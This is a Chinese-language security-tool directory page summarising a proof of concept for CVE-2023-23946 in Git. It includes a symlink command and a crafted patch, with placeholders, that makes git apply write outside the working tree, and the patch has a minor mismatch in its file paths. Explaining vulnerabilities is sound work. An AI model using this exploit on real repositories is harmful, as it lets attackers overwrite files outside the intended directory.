Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-23946-POC — CVE-2023-23946的解释和POC | Kitploit
工具/GitHubGitHub/bruno-1337/cve-2023-23946-poc
漏洞分析漏洞利用论文与研究学习与教育二进制利用
GitHubbruno-1337/cve-2023-23946-poc

CVE-2023-23946-POC

CVE-2023-23946的解释和POC

查看仓库
112年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-23946 POC 漏洞利用

CVE-2023-23946 的解释与 POC

CVE-2023-23946 漏洞是由于 Git 处理符号链接的方式存在缺陷导致的。当 Git 创建符号链接时,它实际上并没有将其视为符号链接,因此我们可以利用这一点使其指向工作树之外的文件。

首先创建一个符号链接

root@kitploit:~
ln -s [你想访问的工作树之外的路径] symlink

现在创建一个用于 git apply 的补丁文件

root@kitploit:~
diff --git a/symlink b/newsymlink
rename from symlink
rename to newsymlink
--
diff --git /dev/null b/newsymlink/spawn
new file mode 100644
index 0000000..e47f4ea
--- /dev/null
+++ b/newsymlink/[外部文件]
@@ -0,0 +1 @@
+[你想要写入文件的内容]
\ No newline at end of file

这个补丁做了什么?我们修改了现有符号链接的名称,并创建了一个新文件。这样,当我们修改 /newsymlink/[外部文件] 时,Git 不会应用其对符号链接的保护。

下载工具